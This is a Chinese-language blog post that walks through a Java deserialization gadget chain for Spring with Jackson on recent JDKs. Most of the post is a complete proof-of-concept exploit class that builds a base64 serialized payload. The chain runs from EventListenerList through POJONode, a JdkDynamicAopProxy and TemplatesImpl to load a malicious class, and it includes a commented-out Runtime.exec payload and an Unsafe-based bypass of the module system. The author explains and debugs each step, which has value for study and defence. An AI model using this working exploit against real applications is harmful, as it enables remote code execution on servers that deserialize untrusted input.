Skip to content

Spring原生链通杀高版本jdk

注意个问题,–add-opens这些参数要加载vmoptions里面,而不是程序实参里面

image-20250929144236835

默认情况是没有vmoption的,要像上图那样点一下设置一下

这里用一下fushuling师傅的POC

(运行这POC之前要将VM option设置为–add-opens=java.base/sun.nio.ch=ALL-UNNAMED –add-opens=java.base/java.lang=ALL-UNNAMED –add-opens=java.base/java.io=ALL-UNNAMED –add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED –add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED –add-opens=java.base/java.lang.reflect=ALL-UNNAMED)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
package com.example.springonly.demos.web;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Vector;

public class SpringAllKill {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringAllKill.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringAllKill().bypassModule(classes);
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
serialize(eventListenerList, true);
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
pool.insertClassPath(new javassist.LoaderClassPath(classLoader));
CtClass ctClass = pool.get("com.example.springonly.Evil");
return ctClass.toBytecode();
// CtClass template = pool.makeClass("MyTemplate");
// String block = "Runtime.getRuntime().exec(\"calc.exe\");";
// template.makeClassInitializer().insertBefore(block);
// return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}

参考文章的POC是没有修改_tfactory的值的,但是我运行的时候不修改就报空指针异常走不到恶意类的静态代码块

下面解释一下各部分代码的作用

1
2
3
4
5
6
7
8
9
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}

这个函数就是创建了一个恶意的JdkDynamicAopProxy,目的之一是为了保持链子的稳定性,因为如果不用这个代理类包装一下,直接将templatesImpl放进去的话,templatesImpl有3个getter,获取的顺序是随机的,有可能造成空指针异常,这在JSON1中也有提及。

另外一个原因最开始我其实没怎么看懂

image-20250929151738557

img

看这报错可能是获取TemplatesImpl的getter的时候被模块化给限制了

但用aop代理一下获取getter的时候获取的就是Templates这个接口的getter,而Templates这个类又是被java.xml模块给exports了的,所以就能正常获取,最后调用的时候就由aop调用TemplatesImpl#getOutputProperties

1
2
3
4
5
6
7
8
9
10
11
    public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
pool.insertClassPath(new javassist.LoaderClassPath(classLoader));
CtClass ctClass = pool.get("com.example.springonly.Evil");
return ctClass.toBytecode();
// CtClass template = pool.makeClass("MyTemplate");
// String block = "Runtime.getRuntime().exec(\"calc.exe\");";
// template.makeClassInitializer().insertBefore(block);
// return template.toBytecode();
}

这方法是构造真正利用恶意类

1
2
3
4
5
6
7
8
9
10
11
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

这是构造恶意的EventListener,因为高版本jdk,BadAttribute用不了了,用EventListener来作为触发toString的替代品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

这是利用unsafe修改模块绕过模块化系统检测的

关于这部分知识点详情可见jdk17&CC链绕过模块检测利用TemplatesImpl-先知社区

接下来进入main函数

1
2
3
4
5
6
7
8
9
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

因为BaseJsonNode是POJONode的爷爷类,首先把BaseJsonNode的writeReplace方法给删了(改名字也行)

当对象被序列化时,Java 会优先调writeReplace。如果该方法返回了另一个对象,则序列化的内容将基于返回的对象,而非原始对象。

所以要用javassist给这个方法改个名字或者直接把这个方法删了,避免反序列化出问题(其实序列化的时候已经出问题了)

1
2
3
4
5
6
7
8
9
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringAllKill.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringAllKill().bypassModule(classes);

这部分配合bypassModule方法的逻辑,我觉得只需要add(Method.class)就行了,前面的add都可以注释掉

如果将bypassModule给注释掉

1
2
3
4
5
6
7
8
9
10
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field protected java.util.Vector javax.swing.undo.CompoundEdit.edits accessible: module java.desktop does not "opens javax.swing.undo" to unnamed module @2d363fb3
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178)
at java.base/java.lang.reflect.Field.setAccessible(Field.java:172)
at com.example.springonly.demos.web.SpringAllKill.getFieldValue(SpringAllKill.java:151)
at com.example.springonly.demos.web.SpringAllKill.getEventListenerList(SpringAllKill.java:88)
at com.example.springonly.demos.web.SpringAllKill.main(SpringAllKill.java:52)

进程已结束,退出代码为 1

为什么将当前class的module改成Method.class的module java.base就可以成执行了呢?明明java.desktop的module.info没有opens java.base

image-20250929164614179

可以看这个方法,刚刚报错就是因为这个方法返回了false,因为Object.class.getModule()返回的值就是java.base,如果将当前class的module设置成java.base这个方法就能返回true,所以如果有什么字段的值设置不了可以考虑将当前class的模块改成java.base

1
2
3
4
5
6
7
8
9
10
11
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
serialize(eventListenerList, true);

最后就是将这些串起来

EventListener#readObject->POJONode#toString->JdkDynamicAopProxy#invoke->TemplatesImpl#getOutputProperties->Evil静态代码块

本文参考:高版本JDK下的Spring原生反序列化链 – fushulingのblog

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.